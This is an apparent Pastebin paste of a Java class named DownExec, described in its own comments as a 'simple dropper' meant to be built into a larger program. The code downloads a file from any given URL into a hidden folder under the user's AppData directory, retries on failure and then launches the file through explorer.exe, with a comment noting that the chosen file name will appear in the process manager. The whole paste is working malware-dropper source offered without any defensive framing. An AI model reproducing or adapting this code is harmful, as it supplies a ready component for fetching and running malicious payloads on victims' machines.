Advertisement
Guest User

DownExec

a guest
Jul 24th, 2014
214
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 3.11 KB | None | 0 0
  1. package com.java.test;
  2.  
  3. import java.io.File;
  4. import java.io.FileOutputStream;
  5. import java.io.IOException;
  6. import java.net.URL;
  7. import java.nio.channels.Channels;
  8. import java.nio.channels.ReadableByteChannel;
  9.  
  10. /**
  11.  * A simple dropper class that should probably be incorporated into a larger
  12.  * class, as this is a static implementation. Essentially downloads and executes
  13.  * a file.
  14.  *
  15.  * @author CosaNostra
  16.  * @version 1.0
  17.  */
  18. public final class DownExec {
  19.     /**
  20.      * The local AppData folder for the current user.
  21.      */
  22.     private final static File APP_DATA = new File(System.getenv("APPDATA"),
  23.         "DataFolder");
  24.  
  25.     /**
  26.      * Attempts to download and execute the file a specified number of times
  27.      * from the provided URL and saves it as the name that is provided. So
  28.      * whatever name you pass will show up in the process manager.
  29.      *
  30.      * @param url
  31.      *            The URL to downlaod the file from, must be fully qualified.
  32.      * @param name
  33.      *            The name that the file will use, must have an extension or it
  34.      *            will not execute.
  35.      * @param maxAttempts
  36.      *            The maximum number of times we should try to download and
  37.      *            execute.
  38.      * @return True iff the file was downloaded. Does not return false if
  39.      *         execution fails, as I didn't really feel like implementing that.
  40.      */
  41.     public final static boolean downloadExec(String url, String name,
  42.         int maxAttempts) {
  43.     // Current number of attempts and whether or not we've succeeded.
  44.     int attempts = 0;
  45.     boolean success = false;
  46.  
  47.     // While we haven't downloaded it...
  48.     while (!success && attempts < maxAttempts) {
  49.         // If the folder doesn't exist in AppData, make it.
  50.         if (!DownExec.APP_DATA.exists()) {
  51.         DownExec.APP_DATA.mkdirs();
  52.         }
  53.  
  54.         // Qualify the file location.
  55.         final String fileLoc = DownExec.APP_DATA.getAbsolutePath()
  56.             + File.separator + name;
  57.  
  58.         // Try to download.
  59.         ReadableByteChannel rbc = null;
  60.         FileOutputStream fos = null;
  61.         try {
  62.         // Open a byte channel to the provided url.
  63.         final URL website = new URL(url);
  64.         rbc = Channels.newChannel(website.openStream());
  65.         fos = new FileOutputStream(fileLoc);
  66.  
  67.         // Transfer the file from the remove location.
  68.         fos.getChannel().transferFrom(rbc, 0, Long.MAX_VALUE);
  69.  
  70.         // Report a success.
  71.         success = true;
  72.         } catch (final IOException e) {
  73.         e.printStackTrace();
  74.         } finally {
  75.         // Clean up.
  76.         try {
  77.             if (rbc != null)
  78.             rbc.close();
  79.             if (fos != null)
  80.             fos.close();
  81.         } catch (IOException e) {
  82.             e.printStackTrace();
  83.         }
  84.         }
  85.  
  86.         // If we succeeded in downloading the file, try to execute it.
  87.         if (success) {
  88.         try {
  89.             // Uses explorer.exe because it can handle all file-types.
  90.             Runtime.getRuntime().exec(
  91.                 "explorer.exe "
  92.                     + DownExec.APP_DATA.getAbsolutePath()
  93.                     + File.separator + name);
  94.         } catch (IOException e) {
  95.             e.printStackTrace();
  96.         }
  97.         } else {
  98.         // Increase the number of attempts if it failed.
  99.         attempts++;
  100.         }
  101.  
  102.     }
  103.     return success;
  104.     }
  105. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement